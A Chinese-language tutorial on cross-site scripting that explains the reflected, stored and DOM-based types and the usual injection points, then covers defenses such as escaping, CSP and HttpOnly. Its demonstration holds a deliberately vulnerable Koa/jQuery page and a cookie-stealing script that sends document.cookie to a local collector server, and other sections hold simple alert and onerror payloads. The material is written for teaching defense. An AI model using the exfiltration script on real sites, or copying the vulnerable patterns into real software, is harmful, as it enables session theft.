什么是XSS攻击
XSS (Cross Site Scripting),为了与“CSS”区分开来,故简称 XSS,翻译过来就是“跨站脚本”。XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。
最开始的时候,这种攻击是通过跨域来实现的,所以叫“跨站脚本”。但是发展到现在,往 HTML 文件中注入恶意代码的方式越来越多了,有可能是在html中直接插入一段恶意js,也有可能是插入一个script标签,src属性指向外域的恶意js,跨域注入脚本已经不是唯一的注入手段了,但是 XSS 这个名字却一直保留至今。
跨站:希望网站中的逻辑都来自本站,如果网站中运行了来自别的网站的东西,这就叫跨站
原理
HTML注入恶意脚本
比如html被劫持(可能是运营商劫持、恶意软件、网络劫持、通过 WiFi 路由器劫持、浏览器插件…其他各种方式)直接在html中插入恶意js脚本或者script标签指向外域恶意脚本。
页面数据变量注入恶意脚本
如果数据中包含了 一部分程序。原本程序的逻辑就被改变了。此处 script 由数据变成了程序。这是最常见的针对网站中的漏洞一种攻击方式。
危害
获取页面数据
操作dom获取页面上任意位置的数据
获取Cookies
通过document.cookies来获取当前登录用户的Cookie
劫持前端逻辑
前端注入另一个脚本,该脚本可以修改任意逻辑,比如原本点击A是弹框逻辑,现在改为点击A无响应.
发送请求
比如使用img标签方式发送请到到攻击者自己的服务器,实现数据的窃取
欺骗用户
通过劫持前端逻辑,改变原本逻辑行为从而欺骗用户,让用户在不知道的情况下进行某些操作。比如可以通过修改 DOM 伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息
监听用户行为
恶意 JavaScript 可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情
产品体验
还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。这是以前手机运营商经常干的事情。
XSS类型
分类很多,变种也很多,大致上按照攻击代码的来源分类可以分为以下三类。
反射型
在一个反射型 XSS 攻击过程中,恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。经过后端但不仅过数据库
存储型
xss代码会被保存在网站的数据中(存储在数据库中),其他用户访问到这条记录的时候(一篇文章/一跳评论),这条攻击代码会被从数据库中读取出来,显示到用户页面上。
危害相比于反射型的要大很多,更加隐蔽。经过后端经过数据库
DOM型XSS
基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。
攻击演示
反射型
比如一个很简单的,通过URL路径来造成反射型XSS的示例:
// 前端代码逻辑
<!DOCTYPE html>
<html lang="en">
<head>
<title></title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
当前的任务id为:
<span id="taskId"></span>
</body>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/qs/6.11.1/qs.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/axios/1.3.4/axios.js"></script>
<script>
const parseUrlQueryString = () => {
const queryString = window.location.search;
if (!queryString) return null;
const filterQueryString = queryString.replace('?', '');
const parse = Qs.parse(filterQueryString);
return parse;
};
const getTaskInfo = async () => {
const queryObj = parseUrlQueryString()
const rst = await axios.get(`/info?taskId=${queryObj.taskId}`)
console.log(rst.data);
$('#taskId').html(rst.data.taskId);
}
getTaskInfo()
</script>
</html>
// 服务端代码逻辑
// 路由
import Router from 'koa-router';
import HelloController from './controller/hello';
const router = new Router();
router.get('/info', HelloController.info);
// controller 层
info = async ctx => {
const params = ctx.request.query;
console.log(`接受到的参数为, taskId${params.taskId}`);
// 设置用户cookie
ctx.cookies.set('token', 'aasxx_zxada12', {
httpOnly: false
});
ctx.cookies.set('xxx', 'xxx12aasxx_zxada12', {
httpOnly: false
});
ctx.cookies.set('time_Xx', +new Date(), {
httpOnly: false
});
// 若干服务端的业务逻辑处理...
ctx.body = {
// 返回和task相关的其他参数,比如时间,操作者...
taskId: params.taskId,
};
};
这是一段很简单的代码,原本的意图是通过URL中携带的taskId参数,来进行服务端查询关于该任务ID的其他详情信息。然后前端展示其任务详情
但是如果url中的参数被篡改为如下
那这时候,页面展示就不符合预期了,实际上就是被xss攻击了。当然这里可能在服务端的业务逻辑查询无该ID, 也可能会返回另一个 ”查询无结果“的页面,而不是这个查询成功的页面。这里只是用这个页面举个例子。实际上如果服务端没存在xss漏洞的话,返回给前端的数据有问题,前端无论展示那个页面都有可能被黑客攻击,无非受到攻击的是那个页面而已。
此时的dom渲染实际上是插入了一个script标签
实际上是服务端对这种请求的参数未加严格的校验和特殊字符的转义。当然这里是为了单纯的展示xss攻击,实际上可能xss做的掩蔽一点用户完全没有任何感知,但却被攻击了。比如url这么被篡改了。此时虽然在页面上看上去和正常的展示差不多,但实际上此时的页面点击任务id会被跳转到一个事先设计好的恶意页面。
再比如下面这种直接在页面中植入一个恶意的js,这个恶意的js可以获取用户的cookie然后再发送到黑客的服务器上,这样黑客就收集到了用户的Cookie,进而做一些”坏事“、
黑客服务端的代码:
// 要插入用户页面的恶意js
console.log('页面被植入外域恶意js脚本');
console.log(`Cookie: ${document.cookie}`);
console.log(`发送请求,将当前页面用户cookie传送到恶意服务器上`);
const imgEle = document.createElement('img')
imgEle.src = `http://127.0.0.1:3010/collect/cookie?cookie=${document.cookie}`
imgEle.style.opacity = 0;
$('body').after(imgEle)
// 黑客的恶意路由与代码
import Router from 'koa-router';
import HelloController from './controller/hello';
const router = new Router();
router.get('/collect/cookie', HelloController.cookie);
// Controller 逻辑处理
// 收集用户的Cookie
cookie = async ctx => {
const params = ctx.request.query;
console.log(`接受到的参数为, cookie${params.cookie}`);
ctx.body = 'ok';
};
}
用户打开页面
只要注入了外域的恶意js,在这个js中就可以干很多前面所提到的危害,比如监听用户的键盘事件,劫持页面等等…
需要注意的是,Web 服务器不会存储反射型 XSS 攻击的恶意脚本,这是和存储型 XSS 攻击不同的地方。
存储型
我们先看一下存储型XSS攻击的原理如下图所示:
通过上面的图我们知道一个xss攻击需要如下步骤:
- 黑客利用站点漏洞将一段恶意 JavaScript 代码提交到网站的数据库中
- 用户向网站正常请求页面
- 服务器返回了包含了恶意 JavaScript 脚本的页面
- 在用户页面上执行恶意的js脚本
比如在2015年喜马拉雅就被爆出由于专辑名称在输入存储的时候,过滤不严格。导致的存储型的XSS漏洞。下面图片截取当年的乌云网站
xss的漏洞一般要对用户输入的内容进行严格的过滤,重灾区通常在输入框,富文本编辑器等这些地方。比如评论区,信息编辑区,订单区域这些功能模块。相比而言存储型的XSS的危害是非常大的,因为影响到的用户范围可能非常大。
DOM型XSS
基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。
XSS攻击注入点
在网站中,一般哪些地方会存在XSS的可能性呢。?
HTML节点内容
如果节点的内容是动态生成的,里面包含用户输入的信息。有可能输入的信息包含恶意脚本从而导致xss攻击
比如下面这个例子
// content由用户输入来决定,本意数一段描述/地址/评论
<div>
{content}
</div>
// 用户有可能会输入一段js
<div>
<script>alert(1)</script>
</div>
HTML属性
某一个HTML节点的某一个属性是由用户输入的内容组成的,有可能用户输入的内容包含脚本或者越出属性本身的范围,从而导致xss攻击
比如下面这个例子:
# imageUrl 来自由之前用户提交的一个图片地址,本意是显示图片,但有可能会造成下面的后果
<img src="${imageUrl}" />
<img src="1" onerror="alert(1)" />
如果用户传的url 是非法的: 1″ onerror=”alert(1) 再加上前后两个 “”,整个内容就变成如下了
<img src="1" onerror="alert(1)" />
,用户输入的内容提前关闭了 src这个属性,有可能用户输入会造成这个属性本身,也就造成了xss
JavaScript代码
js代码中存在由后台注入的变量,或者里面包含了用户输入的信息,有可能用户输入的信息会改变js代码的逻辑,从而导致XSS攻击
<script>
// 本意data是来自服务器给的数据,这个数据也是用户之前输入的
var data = `data:${data}`;
var data = `data:hello,`;alert(1);``;
</script>
如果用户之前在存入data是 hello,;alert(1);
的就会出乎意外的alert(1)的逻辑,用户也是通过提前关闭了data变量。然后使用;重启一行添加了额外的逻辑
富文本
特性
● 保留HTML
● HTML具有xss攻击风险
如何防御
服务器对输入脚本进行过滤或转码
不管是反射型还是存储型 XSS 攻击,我们都可以在服务器端将一些关键的字符进行过滤或者转码。
过滤
过滤是指服务端将script等关键字统统过滤掉。
转码
- 针对html标签是将
"<"转义为< ">"转义为>
- 针对HTML属性是将
" 转义为 &quto;
' 转义为 '
- 针对js转义反单引号
比如原本传入的可能是
<script>alert('你被XSS'攻击了)</script>
过滤之后就变为下面这个字符串了。
你被XSS攻击了
或者对原来的代码进行转码,转码之后变为
<script>alert('你被xss攻击了')</script>
这样,这个脚本在客户端就无法正常执行了
进行转义有几个时机:
1:用户输入内容点击提交的时候,前端校验并转义。
2:服务端数据入库的时候转义
3:服务端从数据库获取数据返回给前端的时候转义
利用 CSP
xss根本在于用户输入的内容,带有恶意的逻辑程序。
CSP用于指定那些内容可执行,那些不能执行,将用户输入的部分标为不可执行即可解决这个问题,即便用户输入的内容带有恶意的程序,那也可以不执行
实施严格的 CSP 可以有效地防范 XSS 攻击,具体来讲 CSP 有如下几个功能
- 限制加载其他域下的资源文件,这样即使黑客插入了一个 JavaScript 文件,这个 JavaScript 文件也是无法被加载的
- 禁止向第三方域提交数据,这样用户数据也不会外泄;
- 禁止执行内联脚本和未授权的脚本,只执行域名是白名单内的外链JS;
- 上报机制,CSP也提供自动上报机制,这样可以帮助我们尽快发现有哪些 XSS 攻击,以便尽快修复问题。
使用 HttpOnly 属性
很多 XSS 攻击都是来盗用 Cookie 的,因此还可以通过服务端设置使用 HttpOnly 属性来保护我们 Cookie 的安全。通常服务器可以将某些 重要的Cookie 设置为 HttpOnly 标志,这样的话,在浏览器端JS是没有办法读取到这些重要的Cookie的,这也就一定程度上保障了用户的Cookie泄露的问题。
比如在这里比较重要的token字段就在服务端设置为HttpOnly,这样在浏览器使用document.cookie就获取不到这个token的值了。
产品层面
比如在产品层面增加一些保障的机制,比如输入框的长度显示。这样可以增大 XSS 攻击的难度。还有短信验证码,滑块,双因子验证等方式。
总结
XSS 攻击就是黑客往页面中注入恶意脚本,然后将页面的一些重要数据上传到恶意服务器。常见的三种 XSS 攻击模式有以下三种
- 反射型 XSS 攻击
- 存储型 XSS 攻击
- 基于 DOM 的 XSS 攻击。
这三种攻击方式的共同点是都需要往用户的页面中注入恶意脚本,然后再通过恶意脚本将用户数据上传到黑客的恶意服务器上。而三者的不同点在于注入的方式不一样,有通过服务器漏洞来进行注入的,是否经过数据库,还有在客户端直接注入的。
针对这些 XSS 攻击,主要有三种防范策略:
- 是通过服务器对输入的内容进行过滤或者转码
- 是充分利用好 CSP安全策略
- 第三种是服务端设置HttpOnly 来保护重要的 Cookie 信息